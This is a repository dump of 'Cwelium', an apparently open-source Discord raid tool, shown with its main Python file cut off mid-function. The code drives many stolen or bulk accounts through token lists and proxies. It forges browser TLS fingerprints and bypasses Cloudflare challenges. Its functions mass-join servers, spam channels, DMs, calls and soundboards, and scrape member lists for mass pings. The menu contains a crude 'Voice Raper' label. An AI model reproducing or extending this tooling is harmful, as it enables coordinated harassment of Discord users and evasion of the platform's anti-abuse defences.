├── Cwelium.py
├── LICENSE
├── README.md
└── requirements.txt
/Cwelium.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2024-2025 Cwelium Inc.
2 | # This project is licensed under the Cwelium License, which includes additional
3 | # terms under the GNU Affero General Public License (AGPL) v3.0.
4 | #
5 | # Author: Tips-Discord
6 | # Original Repository: https://github.com/Tips-Discord/Cwelium
7 | #
8 | # Additional Terms can be found at:
9 | # https://github.com/Tips-Discord/Cwelium/blob/main/LICENSE
10 |
11 | #from concurrent.futures import ThreadPoolExecutor
12 | from colorama import Fore, init; init(autoreset=True)
13 | from colorist import ColorHex as h
14 | from datetime import datetime
15 | import base64
16 | import ctypes
17 | import json
18 | import os
19 | import random
20 | import re
21 | import requests
22 | import secrets
23 | import string
24 | import threading
25 | import time
26 | import tls_client
27 | import uuid
28 | import websocket
29 |
30 | session = tls_client.Session(client_identifier="chrome_138", random_tls_extension_order=True, ja3_string="771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-5-10-11-13-16-18-23-27-35-43-45-51-17613-65037-65281,4588-29-23-24,0", h2_settings={"HEADER_TABLE_SIZE": 65536, "ENABLE_PUSH": 0, "INITIAL_WINDOW_SIZE": 6291456, "MAX_HEADER_LIST_SIZE": 262144}, h2_settings_order=["HEADER_TABLE_SIZE", "ENABLE_PUSH", "INITIAL_WINDOW_SIZE", "MAX_HEADER_LIST_SIZE"], supported_signature_algorithms=["ecdsa_secp256r1_sha256", "rsa_pss_rsae_sha256", "rsa_pkcs1_sha256", "ecdsa_secp384r1_sha384", "rsa_pss_rsae_sha384", "rsa_pkcs1_sha384", "rsa_pss_rsae_sha512", "rsa_pkcs1_sha512"], supported_versions=["TLS_1_3", "TLS_1_2"], key_share_curves=["GREASE", "X25519MLKEM768", "X25519", "secp256r1", "secp384r1"], pseudo_header_order=[":method", ":authority", ":scheme", ":path"], connection_flow=15663105, priority_frames=[])
31 |
32 | def get_random_str(length):
33 | return "".join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
34 |
35 | def wrapper(func):
36 | def wrapper(*args, **kwargs):
37 | console.clear()
38 | console.render_ascii()
39 | result = func(*args, **kwargs)
40 | return result
41 | return wrapper
42 |
43 | C = {
44 | "green": h("#65fb07"),
45 | "red": h("#Fb0707"),
46 | "yellow": h("#FFCD00"),
47 | "magenta": h("#b207f5"),
48 | "blue": h("#00aaff"),
49 | "cyan": h("#aaffff"),
50 | "gray": h("#8a837e"),
51 | "white": h("#DCDCDC"),
52 | "pink": h("#c203fc"),
53 | "light_blue": h("#07f0ec"),
54 | "brown": h("#8B4513"),
55 | "black": h("#000000"),
56 | "aqua": h("#00CED1"),
57 | "purple": h("#800080"),
58 | "lime": h("#00FF00"),
59 | "orange": h("#FFA500"),
60 | "indigo": h("#4B0082"),
61 | "violet": h("#EE82EE"),
62 | "gold": h("#FFD700"),
63 | "silver": h("#C0C0C0"),
64 | "teal": h("#008080"),
65 | "navy": h("#000080"),
66 | "olive": h("#808000"),
67 | "maroon": h("#800000"),
68 | "coral": h("#FF7F50"),
69 | "salmon": h("#FA8072"),
70 | "khaki": h("#F0E68C"),
71 | "orchid": h("#DA70D6"),
72 | "rose": h("#FF007F")
73 | }
74 |
75 | class Files:
76 | @staticmethod
77 | def write_config():
78 | try:
79 | if not os.path.exists("config.json"):
80 | data = {
81 | "Proxies": False,
82 | "Theme": "light_blue",
83 | }
84 | with open("config.json", "w") as f:
85 | json.dump(data, f, indent=4)
86 | except Exception as e:
87 | console.log("Failed", C["red"], "Failed to Write Config", e)
88 |
89 | @staticmethod
90 | def write_folders():
91 | folders = ["data", "scraped"]
92 | for folder in folders:
93 | try:
94 | if not os.path.exists(folder):
95 | os.mkdir(folder)
96 | except Exception as e:
97 | console.log("Failed", C["red"], "Failed to Write Folders", e)
98 |
99 | @staticmethod
100 | def write_files():
101 | files = ["tokens.txt", "proxies.txt"]
102 | for file in files:
103 | try:
104 | if not os.path.exists(file):
105 | with open(f"data/{file}", "a") as f:
106 | f.close()
107 | except Exception as e:
108 | console.log("Failed", C["red"], "Failed to Write Files", e)
109 |
110 | @staticmethod
111 | def run_tasks():
112 | tasks = [Files.write_config, Files.write_folders, Files.write_files]
113 | for task in tasks:
114 | task()
115 |
116 | Files.run_tasks()
117 |
118 | with open("config.json") as f:
119 | Config = json.load(f)
120 |
121 | proxy = Config["Proxies"]
122 | color = Config["Theme"]
123 |
124 | class Render:
125 | def __init__(self):
126 | self.size = os.get_terminal_size().columns
127 | self.print_lock = threading.Lock()
128 | if not color:
129 | self.background = C["light_blue"]
130 | else:
131 | self.background = C[color]
132 |
133 | def title(self, title):
134 | ctypes.windll.kernel32.SetConsoleTitleW(title)
135 |
136 | def clear(self):
137 | os.system("cls")
138 |
139 | def render_ascii(self):
140 | self.clear()
141 | self.title(f"Cwelium | Connected as {os.getlogin()} | made by Tips-Discord")
142 | edges = ["╗", "║", "╚", "╝", "═", "╔"]
143 | ascii = f"""
144 | {' ██████╗██╗ ██╗███████╗██╗ ██╗██╗ ██╗███╗ ███╗'.center(self.size)}
145 | {'██╔════╝██║ ██║██╔════╝██║ ██║██║ ██║████╗ ████║'.center(self.size)}
146 | {'██║ ██║ █╗ ██║█████╗ ██║ ██║██║ ██║██╔████╔██║'.center(self.size)}
147 | {'██║ ██║███╗██║██╔══╝ ██║ ██║██║ ██║██║╚██╔╝██║'.center(self.size)}
148 | {'╚██████╗╚███╔███╔╝███████╗███████╗██║╚██████╔╝██║ ╚═╝ ██║'.center(self.size)}
149 | {' ╚═════╝ ╚══╝╚══╝ ╚══════╝╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═╝'.center(self.size)}
150 | {''.center(self.size)}
151 | """
152 |
153 | for line in ascii.splitlines():
154 | for edge in edges:
155 | line = line.replace(edge, f"{self.background}{edge}{C['white']}")
156 | print(line)
157 |
158 | def raider_options(self):
159 | with open("data/proxies.txt") as f:
160 | global proxies
161 | proxies = f.read().splitlines()
162 | with open("data/tokens.txt", "r") as f:
163 | global tokens
164 | tokens = f.read().splitlines()
165 |
166 | edges = ["─", "╭", "│", "╰", "╯", "╮", "»", "«"]
167 | title = f"""{Fore.RESET}{' ' * max(0, (self.size - len(f'Loaded ‹{len(tokens)}› tokens | Loaded ‹{len(proxies)}› proxies')) // 2)}Loaded ‹{self.background}{len(tokens)}{Fore.RESET}› tokens | Loaded ‹{self.background}{len(proxies)}{Fore.RESET}› proxies
168 |
169 | {'╭─────────────────────────────────────────────────────────────────────────────────────────────╮'.center(self.size)}
170 | {'│ «01» Joiner «07» Token Formatter «13» Onliner «19» Call Spammer │'.center(self.size)}
171 | {'│ «02» Leaver «08» Button Click «14» Voice Raper «20» Bio Change │'.center(self.size)}
172 | {'│ «03» Spammer «09» Accept Rules «15» Change Nick «21» Voice Joiner │'.center(self.size)}
173 | {'│ «04» Token Checker «10» Guild Check «16» Thread Spammer «22» Onboard Bypass │'.center(self.size)}
174 | {'│ «05» Emoji Reaction «11» Friend Spam «17» Typer «23» Dm Spammer │'.center(self.size)}
175 | {'│ «06» ??? «12» ??? «18» ??? «24» Exit │'.center(self.size)}
176 | {'╰─────────────────────────────────────────────────────────────────────────────────────────────╯'.center(self.size)}
177 | {'«~» Credits'.center(self.size)}
178 | """
179 | for edge in edges:
180 | title = title.replace(edge, f"{self.background}{edge}{C['white']}")
181 | print(title)
182 |
183 | def run(self):
184 | options = [self.render_ascii(), self.raider_options()]
185 | ([option] for option in options)
186 |
187 | def log(self, text=None, color=None, token=None, log=None):
188 | response = f"{Fore.RESET}[{datetime.now().strftime(f'{Fore.LIGHTBLACK_EX}%H:%M:%S{Fore.RESET}')}] "
189 | if text:
190 | response += f"[{color}{text}{C['white']}] "
191 | if token:
192 | response += token
193 | if log:
194 | response += f" ({C['gray']}{log}{C['white']})"
195 |
196 | with self.print_lock:
197 | print(response)
198 |
199 | def prompt(self, text, ask=None):
200 | prompted = f"[{C[color]}{text}{C['white']}]"
201 | if ask:
202 | prompted += f" {C['gray']}(y/n){C['white']}: "
203 | else:
204 | prompted += ": "
205 |
206 | return prompted
207 |
208 | console = Render()
209 |
210 | # Big Thanks to Aniell4 for the scraper
211 | class Utils:
212 | @staticmethod
213 | def range_corrector(ranges):
214 | if [0, 99] not in ranges:
215 | ranges.insert(0, [0, 99])
216 | return ranges
217 |
218 | @staticmethod
219 | def get_ranges(index, multiplier, member_count):
220 | initial_num = index * multiplier
221 | ranges = [[initial_num, initial_num + 99]]
222 | if member_count > initial_num + 99:
223 | ranges.append([initial_num + 100, initial_num + 199])
224 | return Utils.range_corrector(ranges)
225 |
226 | @staticmethod
227 | def parse_member_list_update(response):
228 | data = response["d"]
229 | member_data = {
230 | "online_count": data["online_count"],
231 | "member_count": data["member_count"],
232 | "id": data["id"],
233 | "guild_id": data["guild_id"],
234 | "hoisted_roles": data["groups"],
235 | "types": [op["op"] for op in data["ops"]],
236 | "locations": [],
237 | "updates": [],
238 | }
239 |
240 | for chunk in data["ops"]:
241 | op_type = chunk["op"]
242 | if op_type in {"SYNC", "INVALIDATE"}:
243 | member_data["locations"].append(chunk["range"])
244 | member_data["updates"].append(chunk["items"] if op_type == "SYNC" else [])
245 | elif op_type in {"INSERT", "UPDATE", "DELETE"}:
246 | member_data["locations"].append(chunk["index"])
247 | member_data["updates"].append(chunk["item"] if op_type != "DELETE" else [])
248 |
249 | return member_data
250 |
251 | class DiscordSocket(websocket.WebSocketApp):
252 | def __init__(self, token, guild_id, channel_id):
253 | self.token = token
254 | self.guild_id = guild_id
255 | self.channel_id = channel_id
256 | self.blacklisted_ids = {"1100342265303547924", "1190052987477958806", "833007032000446505", "1273658880039190581", "1308012310396407828", "1326906424873193586", "1334512667456442411", "1349869929809186846"}
257 |
258 | headers = {
259 | "Accept-Encoding": "gzip, deflate, br",
260 | "Accept-Language": "en-US,en;q=0.9",
261 | "Cache-Control": "no-cache",
262 | "Pragma": "no-cache",
263 | "Sec-WebSocket-Extensions": "permessage-deflate; client_max_window_bits",
264 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
265 | }
266 |
267 | super().__init__(
268 | "wss://gateway.discord.gg/?encoding=json&v=9",
269 | header=headers,
270 | on_open=self.on_open,
271 | on_message=self.on_message,
272 | on_close=self.on_close,
273 | )
274 |
275 | self.end_scraping = False
276 | self.guilds = {}
277 | self.members = {}
278 | self.ranges = [[0, 0]]
279 | self.last_range = 0
280 | self.packets_recv = 0
281 |
282 | def run(self):
283 | self.run_forever()
284 | return self.members
285 |
286 | def scrape_users(self):
287 | if not self.end_scraping:
288 | self.send(json.dumps({
289 | "op": 14,
290 | "d": {
291 | "guild_id": self.guild_id,
292 | "typing": True,
293 | "activities": True,
294 | "threads": True,
295 | "channels": {self.channel_id: self.ranges}
296 | }
297 | }))
298 |
299 | def on_open(self, ws):
300 | self.send(json.dumps({
301 | "op": 2,
302 | "d": {
303 | "token": self.token,
304 | "capabilities": 125,
305 | "properties": {
306 | "os": "Windows",
307 | "browser": "Chrome",
308 | "device": "",
309 | "system_locale": "it-IT",
310 | "browser_user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
311 | "browser_version": "138.0.0.0",
312 | "os_version": "10",
313 | "referrer": "",
314 | "referring_domain": "",
315 | "referrer_current": "",
316 | "referring_domain_current": "",
317 | "release_channel": "stable",
318 | "client_build_number": 419434,
319 | "client_event_source": None
320 | },
321 | "presence": {
322 | "status": "online",
323 | "since": 0,
324 | "activities": [],
325 | "afk": False
326 | },
327 | "compress": False,
328 | "client_state": {
329 | "guild_hashes": {},
330 | "highest_last_message_id": "0",
331 | "read_state_version": 0,
332 | "user_guild_settings_version": -1,
333 | "user_settings_version": -1
334 | }
335 | }
336 | }))
337 |
338 | def heartbeat_thread(self, interval):
339 | while not self.end_scraping:
340 | self.send(json.dumps({"op": 1, "d": self.packets_recv}))
341 | time.sleep(interval)
342 |
343 | def on_message(self, ws, message):
344 | decoded = json.loads(message)
345 | if not decoded:
346 | return
347 |
348 | self.packets_recv += decoded["op"] != 11
349 |
350 | if decoded["op"] == 10:
351 | threading.Thread(
352 | target=self.heartbeat_thread,
353 | args=(decoded["d"]["heartbeat_interval"] / 1000,),
354 | daemon=True,
355 | ).start()
356 |
357 | if decoded["t"] == "READY":
358 | self.guilds.update({
359 | guild["id"]: {"member_count": guild["member_count"]}
360 | for guild in decoded["d"]["guilds"]
361 | })
362 |
363 | total_members = self.guilds[self.guild_id]["member_count"]
364 |
365 | console.log("Info", C["yellow"], False, f"Guild has {total_members} members → ETA ~{round(total_members / 150, 1)}s")
366 |
367 | if decoded["t"] == "READY_SUPPLEMENTAL":
368 | self.ranges = Utils.get_ranges(0, 100, self.guilds[self.guild_id]["member_count"])
369 | self.scrape_users()
370 |
371 | elif decoded["t"] == "GUILD_MEMBER_LIST_UPDATE":
372 | parsed = Utils.parse_member_list_update(decoded)
373 | if parsed["guild_id"] == self.guild_id:
374 | self.process_updates(parsed)
375 |
376 | def process_updates(self, parsed):
377 | if "SYNC" in parsed["types"] or "UPDATE" in parsed["types"]:
378 | for i, update_type in enumerate(parsed["types"]):
379 | if update_type in {"SYNC", "UPDATE"}:
380 | if not parsed["updates"][i]:
381 | self.end_scraping = True
382 | break
383 | self.process_members(parsed["updates"][i])
384 |
385 | self.last_range += 1
386 | self.ranges = Utils.get_ranges(self.last_range, 100, self.guilds[self.guild_id]["member_count"])
387 | self.scrape_users()
388 |
389 | if self.end_scraping:
390 | self.close()
391 |
392 | def process_members(self, updates):
393 | for item in updates:
394 | member = item.get("member")
395 | if member:
396 | user = member.get("user", {})
397 | user_id = user.get("id")
398 | if user_id and user_id not in self.blacklisted_ids and not user.get("bot"):
399 | self.members[user_id] = {
400 | "tag": f"{user.get('username')}#{user.get('discriminator')}",
401 | "id": user_id,
402 | }
403 |
404 | def on_close(self, ws, close_code, close_msg):
405 | console.log("Success", C["green"], False, f"Scraped {len(self.members)} members")
406 |
407 | def scrape(token, guild_id, channel_id):
408 | sb = DiscordSocket(token, guild_id, channel_id)
409 | return sb.run()
410 |
411 | class Raider:
412 | def __init__(self):
413 | self.build_number = 429117
414 | self.cf_token = self.get_cloudflare_cookies()
415 | self.cookies, self.fingerprint = self.get_discord_cookies()
416 | self.ws = websocket.WebSocket()
417 |
418 | def get_cloudflare_cookies(self):
419 | try:
420 | response = requests.get(
421 | "https://discord.com/channels/@me"
422 | )
423 |
424 | challange = re.sub(r".*r:'([^']+)'.*", r"\1", response.text, flags=re.DOTALL)
425 | build_number = re.sub(r'.*"BUILD_NUMBER":"(\d+)".*', r'\1', response.text, flags=re.DOTALL)
426 | if build_number is not None:
427 | self.build_number = build_number
428 |
429 | cf_token = requests.post(f'https://discord.com/cdn-cgi/challenge-platform/h/b/jsd/r/{random.random():.16f}:{str(int(time.time()))}:{secrets.token_urlsafe(32)}/{challange}')
430 | match cf_token.status_code:
431 | case 200:
432 | cookie = list(cf_token.cookies)[0]
433 | return f"{cookie.name}={cookie.value}"
434 | case _:
435 | console.log("ERROR", C["red"], "Failed to get cf_clearance")
436 | except Exception as e:
437 | console.log("ERROR", C["red"], "get_cf", e)
438 |
439 | def get_discord_cookies(self):
440 | try:
441 | response = requests.get(
442 | 'https://discord.com/api/v9/experiments',
443 | )
444 | match response.status_code:
445 | case 200:
446 | return "; ".join(
447 | [f"{cookie.name}={cookie.value}" for cookie in response.cookies]
448 | ) + f"; {self.cf_token}; locale=en-US", response.json()["fingerprint"]
449 | case _:
450 | console.log("ERROR", C["red"], "Failed to get cookies using Static")
451 | return "__dcfduid=62f9e16000a211ef8089eda5bffbf7f9; __sdcfduid=62f9e16100a211ef8089eda5bffbf7f98e904ba04346eacdf57ee4af97bdd94e4c16f7df1db5132bea9132dd26b21a2a; __cfruid=a2ccd7637937e6a41e6888bdb6e8225cd0a6f8e0-1714045775; _cfuvid=s_CLUzmUvmiXyXPSv91CzlxP00pxRJpqEhuUgJql85Y-1714045775095-0.0.1.1-604800000; locale=en-US"
452 | except Exception as e:
453 | console.log("ERROR", C["red"], "get_discord_cookies", e)
454 |
455 | def super_properties(self):
456 | try:
457 | payload = {
458 | "os": "Windows",
459 | "browser": "Chrome",
460 | "release_channel": "stable",
461 | "os_version": "10",
462 | "system_locale": "pl",
463 | "browser_user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0",
464 | "browser_version": "139.0.0.0",
465 | "client_build_number": int(self.build_number),
466 | "client_launch_id": str(uuid.uuid4()),
467 | "client_heartbeat_session_id": str(uuid.uuid4()),
468 | "launch_signature": str(uuid.uuid4()),
469 | "client_event_source": None,
470 | }
471 | properties = base64.b64encode(json.dumps(payload).encode()).decode()
472 | return properties
473 | except Exception as e:
474 | console.log("ERROR", C["red"], "get_super_properties", e)
475 |
476 | def headers(self, token):
477 | return {
478 | "authority": "discord.com",
479 | "accept": "*/*",
480 | "accept-language": "en",
481 | "authorization": token,
482 | "cookie": self.cookies,
483 | "content-type": "application/json",
484 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0",
485 | "x-discord-locale": "en-US",
486 | "x-debug-options": "bugReporterEnabled",
487 | "x-fingerprint": self.fingerprint,
488 | "x-super-properties": self.super_properties(),
489 | }
490 |
491 | def nonce(self):
492 | return int(time.time() * 1000) - 1420070400000 << 22
493 |
494 | def joiner(self, invite):
495 | try:
496 | params = {
497 | "inputValue": f"https://discord.gg/{invite}",
498 | "with_counts": "true",
499 | "with_expiration": "true",
500 | "with_permissions": "true",
501 | }
502 |
503 | for token in tokens:
504 | response = session.get(
505 | f"https://discord.com/api/v9/invites/{invite}",
506 | headers=self.headers(token),
507 | params=params
508 | )
509 |
510 | match response.status_code:
511 | case 200:
512 | invite_info = response.json()
513 | break
514 | case 404:
515 | console.log("Failed", C["red"], "Invalid or expired invite")
516 | input()
517 | Menu().main_menu()
518 | return
519 |
520 | guild_name = invite_info["guild"]["name"]
521 | guild_id = invite_info["guild"]["id"]
522 | channel_id = invite_info["channel"]["id"]
523 | channel_type = invite_info["channel"]["type"]
524 |
525 | join = {
526 | "location": "Join Guild",
527 | "location_guild_id": guild_id,
528 | "location_channel_id": channel_id,
529 | "location_channel_type": channel_type
530 | }
531 | context = base64.b64encode(json.dumps(join).encode()).decode()
532 |
533 | def join_server(token):
534 | try:
535 | headers = self.headers(token)
536 | headers["X-Context-Properties"] = context
537 |
538 | payload = {
539 | "session_id": uuid.uuid4().hex
540 | }
541 |
542 | resp = session.post(
543 | f"https://discord.com/api/v9/invites/{invite}",
544 | headers=headers,
545 | json=payload
546 | )
547 |
548 | match resp.status_code:
549 | case 200:
550 | console.log("Joined", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", guild_name)
551 | case 400:
552 | console.log("Captcha", C["yellow"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", guild_name)
553 | case 429:
554 | console.log("Cloudflare", C["magenta"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", guild_name)
555 | case _:
556 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", resp.json()["message"])
557 | except Exception as e:
558 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
559 |
560 | args = [
561 | (token,) for token in tokens
562 | ]
563 | Menu().run(join_server, args)
564 | except Exception as e:
565 | console.log("Failed", C["red"], "Failed to get invite info", e)
566 | input()
567 | Menu().main_menu()
568 |
569 | def leaver(self, token, guild):
570 | try:
571 | def get_guild_name(guild):
572 | response = session.get(
573 | f"https://discord.com/api/v9/guilds/{guild}",
574 | headers=self.headers(token)
575 | )
576 |
577 | match response.status_code:
578 | case 200:
579 | try:
580 | return response.json()["name"]
581 | except:
582 | return guild
583 |
584 | self.guild = get_guild_name(guild)
585 |
586 | payload = {
587 | "lurking": False,
588 | }
589 |
590 | response = session.delete(
591 | f"https://discord.com/api/v9/users/@me/guilds/{guild}",
592 | json=payload,
593 | headers=self.headers(token)
594 | )
595 |
596 | match response.status_code:
597 | case 204:
598 | console.log("Left", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", self.guild)
599 | case 429:
600 | console.log("Cloudflare", C["magenta"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", f"discord.gg/{invite}")
601 | case _:
602 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", response.json().get("message"))
603 | except Exception as e:
604 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
605 |
606 | def spammer(self, token, channel, message=None, guild=None, massping=None, pings=None, random_str=None, delay=None):
607 | try:
608 | while True:
609 | if massping:
610 | msg = self.get_random_members(guild, int(pings))
611 |
612 | payload = {
613 | "content": f"{message} {msg}"
614 | }
615 | else:
616 | payload = {
617 | "content": f"{message}"
618 | }
619 |
620 | if random_str:
621 | payload["content"] += f" > {get_random_str(15)}"
622 |
623 | response = session.post(
624 | f"https://discord.com/api/v9/channels/{channel}/messages",
625 | headers=self.headers(token),
626 | json=payload
627 | )
628 |
629 | match response.status_code:
630 | case 200:
631 | console.log("Sent", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**")
632 | if delay:
633 | time.sleep(delay)
634 | case 429:
635 | retry_after = response.json()["retry_after"] + random.uniform(0.1, 0.5)
636 | console.log("Ratelimit", C["yellow"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", f"Ratelimit Exceeded - {retry_after:.2f}s",)
637 | time.sleep(float(retry_after))
638 | case _:
639 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", response.json().get("message"))
640 | return
641 | except Exception as e:
642 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
643 |
644 | def member_scrape(self, guild_id, channel_id):
645 | try:
646 | in_guild = []
647 |
648 | if not os.path.exists(f"scraped/{guild_id}.json"):
649 | for token in tokens:
650 | response = session.get(
651 | f"https://discord.com/api/v9/guilds/{guild_id}",
652 | headers=self.headers(token),
653 | )
654 |
655 | match response.status_code:
656 | case 200:
657 | in_guild.append(token)
658 | break
659 |
660 | if not in_guild:
661 | console.log("Failed", C["red"], "Missing Access")
662 | token = random.choice(in_guild)
663 | members = scrape(token, guild_id, channel_id)
664 |
665 | with open(f"scraped/{guild_id}.json", "w") as f:
666 | json.dump(list(members.keys()), f, indent=2)
667 | except Exception as e:
668 | console.log("Failed", C["red"], False, e)
669 |
670 | def get_random_members(self, guild_id, count):
671 | try:
672 | with open(f"scraped/{guild_id}.json") as f:
673 | members = json.load(f)
674 |
675 | message = ""
676 | for _ in range(int(count)):
677 | message += f"<@!{random.choice(members)}>"
678 | return message
679 | except Exception as e:
680 | console.log("Failed", C["red"], "Failed to get Random Members", e)
681 |
682 | def voice_spammer(self, token, ws, guild_id, channel_id, close=None):
683 | try:
684 | self.onliner(token, ws)
685 | ws.send(
686 | json.dumps(
687 | {
688 | "op": 4,
689 | "d": {
690 | "guild_id": guild_id,
691 | "channel_id": channel_id,
692 | "self_mute": False,
693 | "self_deaf": False,
694 | "self_stream": False,
695 | "self_video": True,
696 | },
697 | }
698 | )
699 | )
700 |
701 | ws.send(
702 | json.dumps(
703 | {
704 | "op": 18,
705 | "d": {
706 | "type": "guild",
707 | "guild_id": guild_id,
708 | "channel_id": channel_id,
709 | "preferred_region": "singapore",
710 | },
711 | }
712 | )
713 | )
714 |
715 | ws.send(json.dumps({"op": 1, "d": None}))
716 | if close:
717 | ws.close()
718 | except Exception as e:
719 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
720 |
721 | def vc_joiner(self, token, guild, channel, ws):
722 | try:
723 | for _ in range(1):
724 | ws.connect("wss://gateway.discord.gg/?v=9&encoding=json")
725 | ws.send(json.dumps({
726 | "op": 2,
727 | "d": {
728 | "token": token,
729 | "properties": {
730 | "os": "windows",
731 | "browser": "Discord",
732 | "device": "desktop"
733 | }
734 | }
735 | }))
736 |
737 | ws.send(json.dumps({
738 | "op": 4,
739 | "d": {
740 | "guild_id": guild,
741 | "channel_id": channel,
742 | "self_mute": random.choice([True, False]),
743 | "self_deaf": False
744 | }
745 | }))
746 | except Exception as e:
747 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
748 |
749 | def onliner(self, token, ws):
750 | try:
751 | ws.connect("wss://gateway.discord.gg/?v=9&encoding=json")
752 | ws.send(
753 | json.dumps(
754 | {
755 | "op": 2,
756 | "d": {
757 | "token": token,
758 | "properties": {
759 | "os": "Windows",
760 | },
761 | "presence": {
762 | "game": {
763 | "name": "Cwelium",
764 | "type": 0,
765 | },
766 | "status": random.choice(['online', 'dnd', 'idle']),
767 | "since": 0,
768 | "afk": False
769 | }
770 | },
771 | }
772 | )
773 | )
774 |
775 | console.log("Onlined", C[color], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**")
776 | except Exception as e:
777 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
778 |
779 | def join_voice_channel(self, token, guild_id, channel_id):
780 | ws = websocket.WebSocket()
781 |
782 | def check_for_guild(token):
783 | response = session.get(
784 | f"https://discord.com/api/v9/guilds/{guild_id}",
785 | headers=self.headers(token)
786 | )
787 | match response.status_code:
788 | case 200:
789 | return True
790 | case _:
791 | return False
792 |
793 | def check_for_channel(token):
794 | if check_for_guild(token):
795 | response = session.get(
796 | f"https://discord.com/api/v9/channels/{channel_id}",
797 | headers=self.headers(token)
798 | )
799 |
800 | match response.status_code:
801 | case 200:
802 | return True
803 | case _:
804 | return False
805 |
806 | if check_for_channel(token):
807 | console.log("Joined", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**")
808 | self.vc_joiner(token, guild_id, channel_id, ws)
809 | else:
810 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**")
811 |
812 | def soundbord(self, token, channel):
813 | try:
814 | sounds = session.get(
815 | "https://discord.com/api/v9/soundboard-default-sounds",
816 | headers=self.headers(token)
817 | ).json()
818 |
819 | time.sleep(1)
820 |
821 | while True:
822 | sound = random.choice(sounds)
823 |
824 | payload = {
825 | "emoji_id": None,
826 | "emoji_name": sound["emoji_name"],
827 | "sound_id": sound["sound_id"],
828 | }
829 |
830 | response = session.post(
831 | f"https://discord.com/api/v9/channels/{channel}/send-soundboard-sound",
832 | headers=self.headers(token),
833 | json=payload,
834 | )
835 |
836 | match response.status_code:
837 | case 204:
838 | console.log("Success", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", f"Played {sound['name']}")
839 | case 429:
840 | retry_after = response.json()["retry_after"] + random.uniform(0.1, 0.5)
841 | console.log("Ratelimit", C["yellow"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", f"Ratelimit Exceeded - {retry_after:.2f}s",)
842 | time.sleep(float(retry_after))
843 | case _:
844 | break
845 | time.sleep(random.uniform(0.56, 0.75))
846 | except Exception as e:
847 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
848 |
849 | def open_dm(self, token, user_id):
850 | try:
851 | payload = {
852 | "recipients": [f'{user_id}'],
853 | }
854 |
855 | response = session.post(
856 | "https://discord.com/api/v9/users/@me/channels",
857 | headers=self.headers(token),
858 | json=payload
859 | )
860 |
861 | match response.status_code:
862 | case 200:
863 | return response.json()["id"]
864 | case _:
865 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", response.json().get("message"))
866 | return
867 | except Exception as e:
868 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
869 |
870 | def call_spammer(self, token, user_id):
871 | try:
872 | while True:
873 | channel_id = self.open_dm(token, user_id)
874 |
875 | json_data = {
876 | 'recipients': None,
877 | }
878 |
879 | response = session.post(
880 | f"https://discord.com/api/v9/channels/{channel_id}/call",
881 | headers=self.headers(token),
882 | json=json_data,
883 | )
884 |
885 | match response.status_code:
886 | case 200:
887 | console.log("Called", C["green"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", user_id)
888 | ws = websocket.WebSocket()
889 | self.voice_spammer(token, ws, channel_id, channel_id, True)
890 | case _:
891 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", response.json().get("message"))
892 | return
893 | time.sleep(5)
894 | except Exception as e:
895 | console.log("Failed", C["red"], f"{Fore.RESET}{token[:25]}.{Fore.LIGHTCYAN_EX}**", e)
896 |
897 | def dm_spammer(self, token, user_id, message):
898 | try:
899 | channel_id = self.open_dm(token, user_id)
900 |
901 | while True:
902 | payload = {
903 | "content": message,
904 | "nonce": self.nonce(),
905 | }
906 |
907 | response = session.post(
908 | f"https://discord.com/api/v9/channels/{channel_id}/messages",
909 | headers=self.headers(token),
